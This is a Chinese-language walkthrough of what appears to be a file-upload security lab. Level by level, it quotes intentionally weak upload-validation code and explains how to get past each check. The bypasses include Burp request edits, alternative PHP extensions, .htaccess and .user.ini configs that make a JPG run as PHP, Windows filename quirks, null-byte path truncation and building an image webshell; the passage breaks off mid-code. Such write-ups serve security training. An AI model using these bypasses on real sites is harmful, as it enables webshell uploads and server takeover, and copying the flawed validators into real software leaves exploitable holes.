方法不唯一
 
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
  
function  checkFile ()  { 
    var  file  =  document . getElementsByName ( 'upload_file' )[ 0 ]. value ; 
     if  ( file  ==  null  ||  file  ==  "" )  { 
         alert ( "请选择要上传的文件!" ); 
         return  false ; 
     } 
     //定义允许上传的文件类型
  var  allow_ext  =  ".jpg|.png|.gif" ; 
    //提取上传文件的类型
  var  ext_name  =  file . substring ( file . lastIndexOf ( "." )); 
    //判断上传文件类型是否允许上传
  if  ( allow_ext . indexOf ( ext_name  +  "|" )  ==  - 1 )  { 
        var  errMsg  =  "该文件不允许上传,请上传"  +  allow_ext  +  "类型的文件,当前文件类型为:"  +  ext_name ; 
         alert ( errMsg ); 
         return  false ; 
     } 
 } 
 
 
方法一:删除文件提交时触发的检测函数
方法二:先将木马改成.jpg,开启BurpSuite抓包,上传文件,将抓到的请求包里的文件后缀名改成.php
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         if  (( $_FILES [ 'upload_file' ][ 'type' ]  ==  'image/jpeg' )  ||  ( $_FILES [ 'upload_file' ][ 'type' ]  ==  'image/png' )  ||  ( $_FILES [ 'upload_file' ][ 'type' ]  ==  'image/gif' ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH  .  '/'  .  $_FILES [ 'upload_file' ][ 'name' ]             
             if  ( move_uploaded_file ( $temp_file ,  $img_path ))  { 
                 $is_upload  =  true ; 
             }  else  { 
                 $msg  =  '上传出错!' ; 
             } 
         }  else  { 
             $msg  =  '文件类型不正确,请重新上传!' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH . '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
开启抓包,上传文件,将Content-Type: application/octet-stream改成Content-Type:image/jpeg 
Content-Type:
image/jpeg  :jpg 图片格式image/png    :png 图片格式image/gif    :gif 图片格式text/plain  :纯文本格式text/xml      :  XML 格式text/html    :  HTML 格式 
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( '.asp' , '.aspx' , '.php' , '.jsp' ); 
         $file_name  =  trim ( $_FILES [ 'upload_file' ][ 'name' ]); 
         $file_name  =  deldot ( $file_name ); //删除文件名末尾的点
  $file_ext  =  strrchr ( $file_name ,  '.' ); 
        $file_ext  =  strtolower ( $file_ext );  //转换为小写
  $file_ext  =  str_ireplace ( '::$DATA' ,  '' ,  $file_ext ); //去除字符串::$DATA
 $file_ext  =  trim ( $file_ext );  //收尾去空
         if ( ! in_array ( $file_ext ,  $deny_ext ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH . '/' . date ( "YmdHis" ) . rand ( 1000 , 9999 ) . $file_ext ;             
             if  ( move_uploaded_file ( $temp_file , $img_path ))  { 
                  $is_upload  =  true ; 
             }  else  { 
                 $msg  =  '上传出错!' ; 
             } 
         }  else  { 
             $msg  =  '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
将文件的拓展名改成等价拓展名再上传:
asp => asa、cer、cdx 
aspx => ashx、asmx、ascx 
php => php2、php3、php4、php5、phps、phtml 
jsp => jspx、jspf 
 
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".php1" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".pHp1" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".ini" ); 
         $file_name  =  trim ( $_FILES [ 'upload_file' ][ 'name' ]); 
         $file_name  =  deldot ( $file_name ); //删除文件名末尾的点
  $file_ext  =  strrchr ( $file_name ,  '.' ); 
        $file_ext  =  strtolower ( $file_ext );  //转换为小写
  $file_ext  =  str_ireplace ( '::$DATA' ,  '' ,  $file_ext ); //去除字符串::$DATA
 $file_ext  =  trim ( $file_ext );  //收尾去空
         if  ( ! in_array ( $file_ext ,  $deny_ext ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH . '/' . $file_name ; 
             if  ( move_uploaded_file ( $temp_file ,  $img_path ))  { 
                 $is_upload  =  true ; 
             }  else  { 
                 $msg  =  '上传出错!' ; 
             } 
         }  else  { 
             $msg  =  '此文件不允许上传!' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
上传一个 .htaccess 解析文件,利用其配置,将某个白名单文件的类型解析成 php 文件类型。
例如将 webshell 改成 jpg 格式( webshell.jpg ),上传。
创建一个.htaccess文件,内容如下:
1
 2
 3
  
<FilesMatch  "webshell.jpg">
 	SetHandler  application/x-httpd-php
 </FilesMatch>
  
 
将 .htaccess 文件上传到服务器。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" ); 
         $file_name  =  trim ( $_FILES [ 'upload_file' ][ 'name' ]); 
         $file_name  =  deldot ( $file_name ); //删除文件名末尾的点
  $file_ext  =  strrchr ( $file_name ,  '.' ); 
        $file_ext  =  strtolower ( $file_ext );  //转换为小写
  $file_ext  =  str_ireplace ( '::$DATA' ,  '' ,  $file_ext ); //去除字符串::$DATA
 $file_ext  =  trim ( $file_ext );  //首尾去空
         if  ( ! in_array ( $file_ext ,  $deny_ext ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH . '/' . $file_name ; 
             if  ( move_uploaded_file ( $temp_file ,  $img_path ))  { 
                 $is_upload  =  true ; 
             }  else  { 
                 $msg  =  '上传出错!' ; 
             } 
         }  else  { 
             $msg  =  '此文件类型不允许上传!' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
发现没有被限制的后缀名有 .php7 以及 .ini
先上传个webshell.jpg,再上传个.user.ini。
.user.ini的内容:
1
  
auto_prepend_file = webshell.jpg 
 
 
把webshell.jpg当作PHP执行
 
php.ini 是 php 的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" ); 
         $file_name  =  trim ( $_FILES [ 'upload_file' ][ 'name' ]); 
         $file_name  =  deldot ( $file_name ); //删除文件名末尾的点
  $file_ext  =  strrchr ( $file_name ,  '.' ); 
        $file_ext  =  str_ireplace ( '::$DATA' ,  '' ,  $file_ext ); //去除字符串::$DATA
  $file_ext  =  trim ( $file_ext );  //首尾去空
         if  ( ! in_array ( $file_ext ,  $deny_ext ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH . '/' . date ( "YmdHis" ) . rand ( 1000 , 9999 ) . $file_ext ; 
             if  ( move_uploaded_file ( $temp_file ,  $img_path ))  { 
                 $is_upload  =  true ; 
             }  else  { 
                 $msg  =  '上传出错!' ; 
             } 
         }  else  { 
             $msg  =  '此文件类型不允许上传!' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
缺少大小写转换,将 webshell.php 改成 webshell.PHP 。
Windows 系统下,对于文件名中的大小写不敏感。而这次的检测代码对大小写是敏感的,从而绕过
例如: webshell.php 和 webshell.PHP是一 样的,但程序的黑名单没有 .PHP。
Linux 系统下,对于文件名中的大小写敏感。
 
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" ); 
         $file_name  =  $_FILES [ 'upload_file' ][ 'name' ]; 
         $file_name  =  deldot ( $file_name ); //删除文件名末尾的点
  $file_ext  =  strrchr ( $file_name ,  '.' ); 
        $file_ext  =  strtolower ( $file_ext );  //转换为小写
  $file_ext  =  str_ireplace ( '::$DATA' ,  '' ,  $file_ext ); //去除字符串::$DATA
         if  ( ! in_array ( $file_ext ,  $deny_ext ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH . '/' . date ( "YmdHis" ) . rand ( 1000 , 9999 ) . $file_ext ; 
             if  ( move_uploaded_file ( $temp_file , $img_path ))  { 
                 $is_upload  =  true ; 
             }  else  { 
                 $msg  =  '上传出错!' ; 
             } 
         }  else  { 
             $msg  =  '此文件不允许上传' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
对上传的文件名未做去空格的操作。
上传 Webshell.php ,BurpSuite 抓包,在文件拓展名最后加上空格。
Windows 系统下,对于文件名中空格会被作为空处理,但程序中的检测代码却不能自动删除 空格。从而绕过黑名单。
 
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" ); 
         $file_name  =  trim ( $_FILES [ 'upload_file' ][ 'name' ]); 
         $file_ext  =  strrchr ( $file_name ,  '.' ); 
         $file_ext  =  strtolower ( $file_ext );  //转换为小写
  $file_ext  =  str_ireplace ( '::$DATA' ,  '' ,  $file_ext ); //去除字符串::$DATA
 $file_ext  =  trim ( $file_ext );  //首尾去空
         if  ( ! in_array ( $file_ext ,  $deny_ext ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH . '/' . $file_name ; 
             if  ( move_uploaded_file ( $temp_file ,  $img_path ))  { 
                 $is_upload  =  true ; 
             }  else  { 
                 $msg  =  '上传出错!' ; 
             } 
         }  else  { 
             $msg  =  '此文件类型不允许上传!' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
Windows 系统下,文件后缀名最后一个点会被自动去除,但是这关的代码没有处理文件后缀名最后一个点,所以可以重命名为Webshell.php.来绕过检测。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" ); 
         $file_name  =  trim ( $_FILES [ 'upload_file' ][ 'name' ]); 
         $file_name  =  deldot ( $file_name ); //删除文件名末尾的点
  $file_ext  =  strrchr ( $file_name ,  '.' ); 
        $file_ext  =  strtolower ( $file_ext );  //转换为小写
  $file_ext  =  trim ( $file_ext );  //首尾去空
         if  ( ! in_array ( $file_ext ,  $deny_ext ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH . '/' . date ( "YmdHis" ) . rand ( 1000 , 9999 ) . $file_ext ; 
             if  ( move_uploaded_file ( $temp_file ,  $img_path ))  { 
                 $is_upload  =  true ; 
             }  else  { 
                 $msg  =  '上传出错!' ; 
             } 
         }  else  { 
             $msg  =  '此文件类型不允许上传!' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
对上传的文件后缀名未做去除::$DATA 处理
Windows 系统下,如果上传的文件名为  Webshell.php::$DATA 会在服务器上生成一个 Webshell.php 的文件,其中内容和所上传文件内容相同,并被解析。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( ".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" ); 
         $file_name  =  trim ( $_FILES [ 'upload_file' ][ 'name' ]); 
         $file_name  =  deldot ( $file_name ); //删除文件名末尾的点
  $file_ext  =  strrchr ( $file_name ,  '.' ); 
        $file_ext  =  strtolower ( $file_ext );  //转换为小写
  $file_ext  =  str_ireplace ( '::$DATA' ,  '' ,  $file_ext ); //去除字符串::$DATA
 $file_ext  =  trim ( $file_ext );  //首尾去空
         if  ( ! in_array ( $file_ext ,  $deny_ext ))  { 
             $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
             $img_path  =  UPLOAD_PATH . '/' . $file_name ; 
             if  ( move_uploaded_file ( $temp_file ,  $img_path ))  { 
                 $is_upload  =  true ; 
             }  else  { 
                 $msg  =  '上传出错!' ; 
             } 
         }  else  { 
             $msg  =  '此文件类型不允许上传!' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
因为代码是先删一个.再删一个 然后再拿文件后缀名去黑名单里比较,所以可以将 Webshell.php 重命名为 Webshell.php. .
这样在上传后等到和黑名单比较时文件名为 Webshell.php.
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ]))  { 
    if  ( file_exists ( UPLOAD_PATH ))  { 
         $deny_ext  =  array ( "php" , "php5" , "php4" , "php3" , "php2" , "html" , "htm" , "phtml" , "pht" , "jsp" , "jspa" , "jspx" , "jsw" , "jsv" , "jspf" , "jtml" , "asp" , "aspx" , "asa" , "asax" , "ascx" , "ashx" , "asmx" , "cer" , "swf" , "htaccess" , "ini" ); 
 
         $file_name  =  trim ( $_FILES [ 'upload_file' ][ 'name' ]); 
         $file_name  =  str_ireplace ( $deny_ext , "" ,  $file_name ); 
         $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
         $img_path  =  UPLOAD_PATH . '/' . $file_name ;         
         if  ( move_uploaded_file ( $temp_file ,  $img_path ))  { 
             $is_upload  =  true ; 
         }  else  { 
             $msg  =  '上传出错!' ; 
         } 
     }  else  { 
         $msg  =  UPLOAD_PATH  .  '文件夹不存在,请手工创建!' ; 
     } 
 } 
 
 
代码利用  str_ireplace()将文件名中符合黑名单的字符串替换成空。
将 Webshell.php 重命名为 Webshell.pphphp
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
  
$is_upload  =  false ; 
$msg  =  null ; 
if ( isset ( $_POST [ 'submit' ])){ 
    $ext_arr  =  array ( 'jpg' , 'png' , 'gif' ); 
     $file_ext  =  substr ( $_FILES [ 'upload_file' ][ 'name' ], strrpos ( $_FILES [ 'upload_file' ][ 'name' ], "." ) + 1 ); 
     if ( in_array ( $file_ext , $ext_arr )){ 
         $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
         $img_path  =  $_GET [ 'save_path' ] . "/" . rand ( 10 ,  99 ) . date ( "YmdHis" ) . "." . $file_ext ; 
 
         if ( move_uploaded_file ( $temp_file , $img_path )){ 
             $is_upload  =  true ; 
         }  else  { 
             $msg  =  '上传出错!' ; 
         } 
     }  else { 
         $msg  =  "只允许上传.jpg|.png|.gif类型文件!" ; 
     } 
 } 
 
 
使用白名单限制上传文件类型,但上传文件的存放路径可控
利用方法:抓包,设置上传路径为  upload/webshell.php%00  ,上传文件为webshell.jpg,保存后为 /upload/webshell.php%00webshell.jpg,但服务端读取到%00 时会自动结束,将文件 内容保存至  webshell.php 中。
前提:
php版本要小于5.3.4。 
文件路径可控。 
magic_quotes_gpc需要为OFF状态。(在php.ini中) 
 
%00为Unicode形式的截断符,用于GET型控制路径。0x00为16进制的截断符,用于POST型控制路径。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
  
$is_upload  =  false ; 
$msg  =  null ; 
if ( isset ( $_POST [ 'submit' ])){ 
    $ext_arr  =  array ( 'jpg' , 'png' , 'gif' ); 
     $file_ext  =  substr ( $_FILES [ 'upload_file' ][ 'name' ], strrpos ( $_FILES [ 'upload_file' ][ 'name' ], "." ) + 1 ); 
     if ( in_array ( $file_ext , $ext_arr )){ 
         $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
         $img_path  =  $_POST [ 'save_path' ] . "/" . rand ( 10 ,  99 ) . date ( "YmdHis" ) . "." . $file_ext ; 
 
         if ( move_uploaded_file ( $temp_file , $img_path )){ 
             $is_upload  =  true ; 
         }  else  { 
             $msg  =  "上传失败" ; 
         } 
     }  else  { 
         $msg  =  "只允许上传.jpg|.png|.gif类型文件!" ; 
     } 
 } 
 
 
与上一关类似,不同的是通过POST请求来控制路径。
POST请求添加截断字符的方法:
先在路径upload/webshell.php后面打个+  => upload/webshell.php+ 
将包的内容转成16进制(选择Hex) 
找到+的位置(+的16进制是2b) 
将2b改成00 
 
其他的做法跟上一关基本一致。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
  
function  getReailFileType ( $filename ){ 
    $file  =  fopen ( $filename ,  "rb" ); 
     $bin  =  fread ( $file ,  2 );  //只读2字节
  fclose ( $file ); 
    $strInfo  =  @ unpack ( "C2chars" ,  $bin );     
     $typeCode  =  intval ( $strInfo [ 'chars1' ] . $strInfo [ 'chars2' ]);     
     $fileType  =  '' ;     
     switch ( $typeCode ){       
         case  255216 :             
             $fileType  =  'jpg' ; 
             break ; 
         case  13780 :             
             $fileType  =  'png' ; 
             break ;         
         case  7173 :             
             $fileType  =  'gif' ; 
             break ; 
         default :             
             $fileType  =  'unknown' ; 
         }     
         return  $fileType ; 
 } 
 $is_upload  =  false ; 
$msg  =  null ; 
if ( isset ( $_POST [ 'submit' ])){ 
    $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
     $file_type  =  getReailFileType ( $temp_file ); 
 
     if ( $file_type  ==  'unknown' ){ 
         $msg  =  "文件未知,上传失败!" ; 
     } else { 
         $img_path  =  UPLOAD_PATH . "/" . rand ( 10 ,  99 ) . date ( "YmdHis" ) . "." . $file_type ; 
         if ( move_uploaded_file ( $temp_file , $img_path )){ 
             $is_upload  =  true ; 
         }  else  { 
             $msg  =  "上传出错!" ; 
         } 
     } 
 } 
 
 
代码通过读文件的前 2 个字节,检测上传文件二进制的头信息,判断文件类型。
利用图片马绕过检测。
图片马制作:
在 cmd 里执行 copy logo.jpg/b+webshell.php/a webshell.jpg
logo.jpg 为任意图片 
webshell.php 为我们要插入的木马代码 
webshell.jpg 为我们要创建的图片马 
 
要利用图片马必须要用到文件包含漏洞。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
  
function  isImage ( $filename ){ 
    $types  =  '.jpeg|.png|.gif' ; 
     if ( file_exists ( $filename )){ 
         $info  =  getimagesize ( $filename ); 
         $ext  =  image_type_to_extension ( $info [ 2 ]); 
         if ( stripos ( $types , $ext ) >= 0 ){ 
             return  $ext ; 
         } else { 
             return  false ; 
         } 
     } else { 
         return  false ; 
     } 
 } 
 $is_upload  =  false ; 
$msg  =  null ; 
if ( isset ( $_POST [ 'submit' ])){ 
    $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
     $res  =  isImage ( $temp_file ); 
     if ( ! $res ){ 
         $msg  =  "文件未知,上传失败!" ; 
     } else { 
         $img_path  =  UPLOAD_PATH . "/" . rand ( 10 ,  99 ) . date ( "YmdHis" ) . $res ; 
         if ( move_uploaded_file ( $temp_file , $img_path )){ 
             $is_upload  =  true ; 
         }  else  { 
             $msg  =  "上传出错!" ; 
         } 
     } 
 } 
 
 
代码通过 getimagesize() 获取上传文件信息。
利用图片马绕过检测。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
  
function  isImage ( $filename ){ 
    //需要开启php_exif模块
  $image_type  =  exif_imagetype ( $filename ); 
    switch  ( $image_type )  { 
         case  IMAGETYPE_GIF : 
             return  "gif" ; 
             break ; 
         case  IMAGETYPE_JPEG : 
             return  "jpg" ; 
             break ; 
         case  IMAGETYPE_PNG : 
             return  "png" ; 
             break ;     
         default : 
             return  false ; 
             break ; 
     } 
 } 
 $is_upload  =  false ; 
$msg  =  null ; 
if ( isset ( $_POST [ 'submit' ])){ 
    $temp_file  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
     $res  =  isImage ( $temp_file ); 
     if ( ! $res ){ 
         $msg  =  "文件未知,上传失败!" ; 
     } else { 
         $img_path  =  UPLOAD_PATH . "/" . rand ( 10 ,  99 ) . date ( "YmdHis" ) . "." . $res ; 
         if ( move_uploaded_file ( $temp_file , $img_path )){ 
             $is_upload  =  true ; 
         }  else  { 
             $msg  =  "上传出错!" ; 
         } 
     } 
 } 
 
 
代码利用exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
利用图片马绕过检测。
 1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
  
$is_upload  =  false ; 
$msg  =  null ; 
if  ( isset ( $_POST [ 'submit' ])){ 
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
  $filename  =  $_FILES [ 'upload_file' ][ 'name' ]; 
    $filetype  =  $_FILES [ 'upload_file' ][ 'type' ]; 
     $tmpname  =  $_FILES [ 'upload_file' ][ 'tmp_name' ]; 
 
     $target_path = UPLOAD_PATH . '/' . basename ( $filename ); 
 
     // 获得上传文件的扩展名
  $fileext =  substr ( strrchr ( $filename , "." ), 1 ); 
     //判断文件后缀与类型,合法才进行上传操作
  if (( $fileext  ==  "jpg" )  &&  ( $filetype == "image/jpeg" )){ 
        if ( move_uploaded_file ( $tmpname , $target_path )){ 
             //使用上传的图片生成新的图片
  $im  =  imagecreatefromjpeg ( $target_path ); 
             if ( $im  ==  false ){ 
                 $msg  =  "该文件不是jpg格式的图片!" ; 
                 @ unlink ( $target_path ); 
             } else { 
                 //给新图片指定文件名
  srand ( time ()); 
                $newfilename  =  strval ( rand ()) . ".jpg" ; 
                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  $img_path  =  UPLOAD_PATH . '/' . $newfilename ; 
                imagejpeg ( $im , $img_path ); 
                 @ unlink ( $target_path ); 
                 $is_upload  =  true ; 
             } 
         }  else  { 
             $msg  =  "上传出错!" ; 
         } 
 
     } else  if (( $fileext  ==  "png" )  &&  ( $filetype == "image/png" )){ 
         if ( move_uploaded_file ( $tmpname , $target_path )){ 
             //使用上传的图片生成新的图片
